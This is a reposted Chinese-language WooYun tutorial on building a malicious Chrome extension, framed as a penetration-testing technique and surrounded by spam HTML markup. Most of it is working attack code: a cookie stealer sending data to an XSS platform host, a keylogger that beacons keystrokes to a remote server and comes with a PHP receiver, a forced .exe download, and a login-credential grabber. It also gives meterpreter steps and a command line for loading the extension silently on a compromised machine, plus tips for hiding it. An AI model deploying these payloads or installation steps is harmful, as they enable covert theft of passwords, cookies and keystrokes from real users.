<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/14410

                    0x00 Introduction


                    眾所周知,Web應用變得越來越流行,生活,辦公,娛樂等等很多都是通過Web,而瀏覽器是我們訪問Web最常使用的工具之一。隨著Web功能的強大,瀏覽器的功能也變得越來越強大。而此文,就是介紹一種通過Chrome插件進行攻擊的姿勢跟手法。

                    撰寫此文時,僅對Chrome瀏覽器進行了部分測試,有興趣的小伙伴可以深入,本文主要是提供一種思路。

                    0x01 Write Chrome Extension


                    在知道怎么寫插件之前,我們首先了解一下插件的文件結構,隨便下載一個谷歌插件,將其重命名為zip后綴之后進行解壓,解壓后的文件目錄如下:

                    Alt text

                    其中,manifest.json是主文件,來聲明要寫的插件的相關信息。可以把mainfest.json理解成插件的入口,即chrome需要通過manifest.json來理解你的插件要引用哪些文件 、 需要哪些權限 、 插件圖標 等信息。而其他文件,就是能實現此插件功能的腳本文件以及插件圖標等。

                    下面,我們開始構造我們的hack extension。

                    首先, 編寫manifest.json文件如下:

                    #!js
                    {
                        "name": "demo",  //插件顯示的名稱
                        "description": "demo", //插件的描述
                        "version": "1.0", //插件的版本
                        "manifest_version": 2, //新版chrome強制manifest_version為2
                        //插件的圖標
                        "icons": {  
                        "16": "imgs/ico.png",
                        "32": "imgs/ico.png",
                        "48": "imgs/ico.png",
                        "128": "imgs/ico.png"
                        },
                        //定義后臺的一些特性
                        "background":{
                          "scripts":[  //加載插件的時候執行的腳本
                              "js/call.js", 
                              "lib/jquery.min.js"
                          ]
                        },
                        "content_scripts": [//定義自動加載的內容
                            {
                                "matches": [ //滿足什么樣的條件執行該插件
                                    "<all_urls>"
                                ],
                                "js": [
                                    "lib/jquery.min.js", //滿足以后執行的腳本
                                    "js/check.js"
                                ]
                            }
                        ],
                      //插件的權限
                      "permissions": [
                          "tabs",
                          "http://*/",
                          "https://*/",
                          "background",
                          "webRequest",
                          "storage",
                          "browsingData"
                      ]
                    }
                    

                    創建以下文件:

                    Alt text

                    現在,所有的文件就全了,但是還沒什么功能,嘗試加載一下插件,瀏覽器URL欄輸入 chrome://extensions/ 選擇加載已解壓的擴展程序,之后選擇文件所在的文件夾。

                    Alt text

                    然后插件就已經被加載上了:

                    Alt text

                    0x02 How to Hack


                    插件已經可以被成功加載了,怎么使用它來進行攻擊呢,我們開始編寫。

                    1、XSS Platform

                    配置XSS平臺,獲取項目代碼如下:

                    #!js
                    <script src=http://t.cn/xxxxxxx></script>
                    

                    訪問http://t.cn/xxxxxx 獲取代碼,將其寫入check.js,內容如下:

                    #!js
                    ??(function(){(new Image()).src='http://xss9.com/index.php?do=api&id=xxxxxx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
                    if(''==1){keep=new Image();keep.src='http://xss9.com/index.php?do=keepsession&id=xxxxxx&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
                    

                    保存文件,重新加載插件,訪問任意網站,獲取訪問網站的cookie信息,如下圖:

                    Alt text

                    2、Keyloger

                    將以下Payload寫入check.js中:

                    #!js
                    $(document).ready(function()
                    {
                        var server = "http://server.com/"; //接收服務器
                        var gate = "data.php?data=";  //接收文件
                        var tabURL = window.location.href;
                    
                                var keys='';
                        document.onkeypress = function(e) {
                          get = window.event?event:e;
                          key = get.keyCode?get.keyCode:get.charCode;
                          key = String.fromCharCode(key);
                          keys+=key;
                        }
                        window.setInterval(function(){
                          new Image().src = server+gate+keys;
                          keys = '';
                        }, 1000);        
                        });
                    

                    接收php文件如下,將此文件命名為data.php置于服務器上:

                    #!php
                    <?php
                    $txt = $_GET['data'];
                    $log = fopen("keylog.txt", "a") or die("Unable to open file!");
                    fwrite($log, $txt);
                    fclose($log);
                    ?>
                    

                    需要在服務器上建立keylog.txt,然后給777權限就可以了

                    加載插件以后,鍵盤記錄啟動,當用戶在網頁中進行鍵盤輸入時,輸入數據會發送到遠程服務器。

                    Alt text

                    3、ForceDownload

                    強制下載文件Payload如下,此payload即安裝插件以后,訪問任意網站強制下載程序:

                    #!php
                    $(document).ready(function()
                    {
                        var server = "http://server.com/"; //服務器
                        var gate = "/test/test.exe"; //要下載的文件
                        var tabURL = window.location.href;
                    
                        var link = document.createElement('a');
                    link.href = server+gate;
                    link.download = '';
                    document.body.appendChild(link);
                    link.click();    
                        });
                    

                    4、Get Wooyun Password

                    以下Payload 用于獲取登陸wooyun的賬號密碼。

                    #!php
                    $(document).ready(function()
                    {
                        var server = "http://xss9.com/"; //發送地址
                        var gate = "index.php?do=api&id=xxxxx"; //接收參數
                        var tabURL = window.location.href;
                    
                            if(tabURL.indexOf('wooyun.org') !== -1 )
                        {
                            wooyun();
                        }
                    
                        function email()
                        {
                            var email = document.getElementsByName('email')[0].value;
                            var password = document.getElementsByName('password')[0].value;
                            var data = "&username="+email+"&password="+password;
                            new Image().src = server+gate+data;
                            //console.log("email="+email+"&password="+password)
                        }
                        function wooyun()
                        {
                            document.getElementById('subbtn').onmouseover = email;
                        }    
                        });
                    

                    Alt text

                    修改payload可針對性獲取某網站賬號密碼信息。

                    Payload就介紹這么多了,熟悉前端的童鞋一定可以創造更多花式玩兒法。

                    0x03 When to Use


                    或許小伙伴們會問,弄這個有什么用,我又不需要裝這個插件抓自己的密碼。當然,這個肯定不是用來搞自己的。滲透測試過程中,有沒有碰到過看到管理員經常使用Chrome瀏覽器,而我們卻沒辦法獲取到其常用密碼呢?(管理員并沒有使用瀏覽器記住密碼的功能)。這個時候,除了給系統裝鍵盤記錄器,我們還可以為其瀏覽器裝我們編寫的插件。而這個插件,就可以用來搜集各種敏感信息,而且,針對的是瀏覽器訪問的所有網站!

                    除此之外,我發現chrome是可以通過命令行來安裝插件的,來設想一個場景,我們使用某個漏洞,或者社會工程學獲取了小明的計算機控制權,現在已經有了一個meterpreter會話如下:

                    Alt text

                    執行如下命令:

                    #!bash
                    meterpreter > run post/windows/gather/enum_chrome
                    

                    Alt text

                    可以看到目標系統是安裝了chrome瀏覽器的。

                    上傳插件目錄demo到e:\demo\ 目錄,由于meterpreter的upload只能上傳文件,不能上傳文件夾,所以這里需要把demo文件夾打包壓縮以后再上傳,之后再通過目標系統的解壓軟件或者自己上傳的unrar.exe進行解壓,具體操作如下圖:

                    Alt text

                    使用如下命令尋找安裝的解壓軟件:

                    Alt text

                    之后使用如下命令進行解壓并刪除壓縮包,具體操作如下圖:

                    Alt text

                    之后為chrome添加插件,使用如下命令:

                    #!bash
                    "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"  --load-extension="F:\demo\demo" --silent-launch 
                    

                    路徑為chrome默認安裝路徑,如果找不到,可以使用dir命令來找,--load-extension是要加載的插件路徑,--silent-launch表示不開啟chrome,靜默安裝。注意:需要在chrome未運行的情況下才可成功加載插件。

                    使用以上命令有現在兩點缺點:

                    缺點一,會有如下提示(過幾秒會消失)。

                    Alt text

                    缺點二,有圖標,有提示。

                    Alt text

                    一直在想辦法解決以上問題,圖標可以換成透明的或者常用的插件圖片來解決,另外兩個暫時還沒解決,詳細的chrome命令可以參考這里: chromium-command-line,有小伙伴有了解決方案還請不吝賜教。當然也可以嘗試寫一個小程序來監控chrome,一旦chrome打開,則模擬點擊事件點擊取消按鈕。

                    最好的方式就是可以直接去為他安裝插件,然后點了這幾個提示之后,之后的使用則不會再次出現提示,這樣可以隱藏挺長時間。

                    然后,我就控制小明的所有訪問內容了,就像這個圖一樣:

                    Alt text

                    當然除了以上的利用方式,還可以通過發布一些插件讓其含有攻擊代碼同樣可以實現此功能。

                    0x04 How to Defend


                    對于不明來歷的插件盡量不要安裝,如果發現問題,請盡早修改自己各個賬號密碼。

                    0x05 Summarize


                    此文主要介紹在滲透測試過程中的一種思路,有興趣的小伙伴可以繼續測試其他瀏覽器的插件,這種方式雖然簡單,但是效果還不錯,你值得擁有。以上文件可以通過這里下載:Extension_Backdoor

                    0x06 Consult


                    1. http://peter.sh/experiments/chromium-command-line-switches/#condition-21
                    2. http://www.chromeplugins.org/google/chrome-plugins/installing-crx-file-command-line-9976.html
                    3. https://developer.chrome.com/extensions/external_extensions
                    4. http://www.cnblogs.com/walkingp/archive/2011/03/31/2001628.html

                    本文由evi1cg原創并首發于烏云drops,轉載請注明

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频